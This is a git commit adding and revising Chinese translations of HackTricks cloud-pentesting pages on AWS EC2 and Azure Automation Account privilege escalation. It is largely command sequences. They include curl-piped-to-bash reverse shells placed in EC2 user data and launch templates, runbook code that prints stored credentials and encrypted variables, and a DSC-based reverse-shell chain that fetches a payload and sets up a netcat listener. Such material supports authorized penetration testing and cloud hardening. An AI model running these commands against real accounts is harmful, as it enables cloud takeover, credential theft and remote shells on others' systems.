Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:57 +00:00
parent 2e66223b31
commit 92d4b0c553
7 changed files with 502 additions and 265 deletions

View File

@@ -406,8 +406,7 @@
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

View File

@@ -12,11 +12,11 @@
### `iam:PassRole`, `ec2:RunInstances`
攻击者可以 **创建一个实例并附加 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭
攻击者可以 **创建一个实例并附加一个 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭
- **通过 SSH 访问**
使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有 `ec2:CreateKeyPair` 权限)。
使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有权限 `ec2:CreateKeyPair`)。
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **通过用户数据访问 rev shell**
您可以使用 **用户数据** (`--user-data`) 运行一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。
您可以使用 **用户数据** (`--user-data`) 启动一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
#### 提升权限到 ECS
通过这组权限,您还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样ECS **服务** 将在您有访问权限的 **EC2 实例** **运行**然后您可以渗透这些服务docker 容器)并 **窃取其附加的 ECS 角色**
通过这组权限,您还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样ECS **服务** 将在您有访问权限的 **EC2 实例** **运行**然后您可以渗透这些服务docker 容器)并 **窃取其附加的 ECS 角色**
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -80,35 +80,33 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**`iam:CreateInstanceProfile`**将**角色**添加**到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:**
如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**`iam:CreateInstanceProfile`**将**该**角色**添加到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:**
- 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`\*
- 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**潜在影响:** 直接提升权限到不同的 EC2 角色(需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置文件状态)。
**潜在影响:** 直接提升权限到不同的 EC2 角色(需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置文件状态)。
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
拥有这些权限后,可以更改与实例关联的实例配置文件,因此如果攻击者已经访问了一个实例,他将能够通过更改与之关联的配置文件来窃取更多实例配置文件角色的凭
拥有这些权限后,可以更改与实例关联的实例配置文件,因此如果攻击者已经访问了一个实例,他将能够通过更改与之关联的配置文件来窃取更多实例配置文件角色的凭
- 如果它 **有一个实例配置文件**可以 **移除** 实例配置文件 (`ec2:DisassociateIamInstanceProfile`) 并 **关联** \*
- 如果它 **有一个实例配置文件**可以 **移除** 实例配置文件 (`ec2:DisassociateIamInstanceProfile`) 并 **关联**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
-**替换** 被攻陷实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
-**替换** 被攻陷实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`)
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置状态)。
**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置状态)。
### `ec2:RequestSpotInstances`,`iam:PassRole`
拥有权限 **`ec2:RequestSpotInstances` 和 `iam:PassRole`** 的攻击者可以 **请求** 一个带有 **EC2 角色** 和 **反向 shell** 的 **Spot 实例** 在 **用户数据** 中。\
拥有权限 **`ec2:RequestSpotInstances``iam:PassRole`** 的攻击者可以 **请求** 一个 **附加了 EC2 角色****Spot 实例**,并**用户数据**放置一个 **反向 shell**。\
一旦实例运行,他可以 **窃取 IAM 角色**
```bash
REV=$(printf '#!/bin/bash
@@ -123,7 +121,7 @@ aws ec2 request-spot-instances \
拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例属性。其中,他可以 **更改用户数据**,这意味着他可以使实例 **运行任意数据**。这可以用来获取 **对 EC2 实例的反向 shell**
请注意,属性只能在 **实例停止时** 进行 **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。
请注意,属性只能在实例 **停止时** 进行 **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 和 `ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **新的启动模板版本**,在 **用户数据** 中包含 **反向 shell** 和 **任何 EC2 IAM 角色**,更改默认版本,任何 **使用** 该 **启动模板** 的 **自动扩展组** 如果配置为使用 **最新** 或 **默认版本**,将会 **重新运行实例**,并执行反向 shell。
有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate``ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **新的启动模板版本**,在 **用户数据** 中包含 **反向 shell****任何 EC2 IAM 角色**,更改默认版本,任何 **使用****启动模板****自动扩展组** 如果配置为使用 **最新****默认版本**,将会 **重新运行实例**,并执行反向 shell。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
这种方法对特权提升并不是很有用,因为你需要知道用户名和密码才能利用它。
这种方式对权限提升并不是很有用,因为你需要知道用户名和密码才能利用它。
**潜在影响:**(高度不可证明)直接权提升到附加到运行实例的 EC2 IAM 角色。
**潜在影响:**(高度不可证明)直接权提升到附加到运行实例的 EC2 IAM 角色。
### `describe-launch-templates`,`describe-launch-template-versions`
由于启动模板具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如用户数据中的凭据。为此,以下脚本循环遍历所有可用启动模板的版本:
由于启动模板具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如用户数据中存在的凭据。为此,以下脚本循环遍历所有可用启动模板的版本:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
更多信息请查看:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
总的来说,这些权限允许在自动化帐户中**创建、修改和运行 Runbooks**,您可以利用这些权限在自动化帐户的上下文中**执行代码**,并提升到分配的**托管身份**的权限,泄露存储在自动化帐户中的**凭据**和**加密变量**。
权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中 Runbook 的代码:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook以便应用更改
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
权限 **`Microsoft.Automation/automationAccounts/jobs/write`** 允许用户使用以下方式在自动化帐户中运行 Runbook
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
权限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 允许用户使用以下方式读取自动化帐户中作业的输出:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
如果没有创建 Runbooks或者您想创建一个新的您将需要 **权限 `Microsoft.Resources/subscriptions/resourcegroups/read` 和 `Microsoft.Automation/automationAccounts/runbooks/write`** 来执行此操作:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
此权限允许用户使用**分配用户管理的身份**到自动化帐户:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**可以在自动化帐户中创建一个每15分钟执行一次的新计划不太隐蔽使用以下命令。
请注意,**计划的最小间隔为15分钟**,而**最早开始时间为未来5分钟**。
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
然后,使用权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 可以通过以下方式将调度程序分配给运行簿:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> 在前面的示例中jobchedule id 被留作 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 作为示例**,但您需要使用一个任意值来创建此分配。
### `Microsoft.Automation/automationAccounts/webhooks/write`
拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。
请注意,您需要 **指明 webhook URI** 以及要使用的令牌。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
仅凭权限 `Microsoft.Automation/automationAccounts/runbooks/draft/write`,就可以 **更新 Runbook 的代码** 而无需发布,并使用以下命令运行它。
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
此权限允许用户使用以下命令**配置源控制**以用于自动化帐户以下使用Github作为示例
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
这将自动将运行簿从Github存储库导入到自动化帐户并且通过一些其他权限开始运行它们将**可能提升权限**。
此外,请记住,要在自动化帐户中使用源控制,它必须具有角色**`Contributor`**的托管身份,如果是用户管理的身份,则可以通过在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中设置要使用的用户管理身份的**客户端ID**来进行配置。
> [!TIP]
> 请注意一旦创建源控制就无法更改其存储库URL。
### 自定义运行时环境
如果自动化帐户使用自定义运行时环境,则可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当执行使用该自定义运行时的运行簿并加载自定义包时,恶意代码将被执行。
### 破坏状态配置
**查看完整帖子:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- 第1步 — 创建文件
**所需文件:** 需要两个PowerShell脚本
1. `reverse_shell_config.ps1`一个获取并执行有效负载的期望状态配置DSC文件。可以从[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)获取。
2. `push_reverse_shell_config.ps1`一个将配置发布到VM的脚本位于[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
**自定义:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。
- 第2步 — 压缩配置文件
`reverse_shell_config.ps1`压缩为`.zip`文件以便准备传输到Azure存储帐户。
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- 第 3 步 — 设置存储上下文并上传
压缩的配置文件使用 Azure 的 Set-AzStorageBlobContent cmdlet 上传到预定义的 Azure 存储容器 azure-pentest。
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- 第4步 — 准备Kali Box
Kali服务器从GitHub存储库下载RevPS.ps1有效负载。
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
脚本被编辑以指定目标 Windows VM 和反向 shell 的端口。
- 第 5 步 — 发布配置文件
配置文件被执行,导致反向 shell 脚本被部署到 Windows VM 上的指定位置。
- 第 6 步 — 托管有效负载并设置监听器
启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
计划任务执行有效载荷从而获得SYSTEM级别的权限。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## 基本信息
[来自文档:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation 提供基于云的自动化、操作系统更新和配置服务,支持在 Azure 和非 Azure 环境中进行一致的管理。它包括过程自动化、配置管理、更新管理、共享功能和异构特性。
这些类似于 Azure 中的 "**计划任务**",可以让您执行操作(动作或甚至脚本)来 **管理**、检查和配置 **Azure 环境**
### 运行账户
当使用 **Run as Account** 时,它会创建一个带有自签名证书的 Azure AD **应用程序**,创建一个 **服务主体** 并为该账户在 **当前订阅** 中分配 **Contributor** 角色(拥有很多权限)。\
Microsoft 建议为自动化账户使用 **Managed Identity**
> [!WARNING]
> 这将在 2023 年 9 月 30 日 **移除并更改为 Managed Identities。**
## Runbooks 和 Jobs
**Runbooks** 允许您 **执行任意 PowerShell** 代码。这可能会被 **攻击者滥用** 来窃取 **附加主体** 的权限(如果有的话)。\
**Runbooks****代码** 中,您还可能找到 **敏感信息**(例如凭据)。
如果您可以 **读取** **jobs**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。
前往 `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### 混合工作者
Runbook 可以在 **Azure 内的容器****Hybrid Worker**(非 Azure 机器)中运行。\
**Log Analytics Agent** 部署在 VM 上以将其注册为混合工作者。\
混合工作者作业在 Windows 上以 **SYSTEM** 身份运行,在 Linux 上以 **nxautomation** 账户运行。\
每个混合工作者都注册在 **Hybrid Worker Group** 中。
因此,如果您可以选择在 **Windows Hybrid Worker** 中运行 **Runbook**,您将以 **System** 身份在外部机器上执行 **任意命令**(很好的 pivot 技术)。
## 破坏状态配置 (SC)
[来自文档:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** 是一种 Azure 配置管理服务,允许您为任何云或本地数据中心中的节点编写、管理和编译 PowerShell 所需状态配置 (DSC) [配置](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations)。该服务还导入 [DSC 资源](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources),并将配置分配给目标节点,所有操作均在云中进行。您可以通过在 Azure 门户中选择 **State configuration (DSC)** 下的 **Configuration Management** 来访问 Azure Automation State Configuration。
**敏感信息** 可能会在这些配置中找到。
### RCE
可以滥用 SC 在受管机器上运行任意脚本。
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## 枚举
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### 创建运行手册
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### 使用 Run Book 从 Automation Account 中提取凭据和变量
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> 您可以通过修改现有的 Run Book 和从网络控制台执行相同的操作。
### 设置自动化高权限用户创建的步骤
#### 1. 初始化自动化帐户
- **所需操作:** 创建一个新的自动化帐户。
- **特定设置:** 确保启用“创建 Azure Run As 帐户”。
#### 2. 导入和设置 Runbook
- **来源:** 从 [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst) 下载示例 runbook。
- **所需操作:**
- 将 runbook 导入到自动化帐户中。
- 发布 runbook 以使其可执行。
- 将 webhook 附加到 runbook启用外部触发。
#### 3. 配置 AzureAD 模块
- **所需操作:** 将 AzureAD 模块添加到自动化帐户。
- **附加步骤:** 确保所有 Azure 自动化模块已更新到最新版本。
#### 4. 权限分配
- **要分配的角色:**
- 用户管理员
- 订阅所有者
- **目标:** 将这些角色分配给自动化帐户以获得必要的权限。
#### 5. 注意潜在的访问丧失
- **注意:** 请注意,配置此类自动化可能会导致失去对订阅的控制。
#### 6. 触发用户创建
- 触发 webhook 以通过发送 POST 请求创建新用户。
- 使用提供的 PowerShell 脚本,确保将 `$uri` 替换为您的实际 webhook URL并更新 `$AccountInfo` 以包含所需的用户名和密码。
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## 参考
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**查看完整帖子:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### 远程服务器 (C2) 基础设施准备和步骤概述
#### 概述
该过程涉及设置一个远程服务器基础设施,以托管一个修改过的 Nishang `Invoke-PowerShellTcp.ps1` 有效载荷,命名为 `RevPS.ps1`,旨在绕过 Windows Defender。该有效载荷从 IP 为 `40.84.7.74` 的 Kali Linux 机器上通过一个简单的 Python HTTP 服务器提供。操作通过几个步骤执行:
#### 步骤 1 — 创建文件
- **所需文件:** 需要两个 PowerShell 脚本:
1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置 (DSC) 文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
- **定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。
#### 步骤 2 — 压缩配置文件
-`reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储帐户。
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Step 3 — 设置存储上下文并上传
- 压缩的配置文件通过 Azure 的 Set-AzStorageBlobContent cmdlet 上传到预定义的 Azure 存储容器 azure-pentest。
```powershell
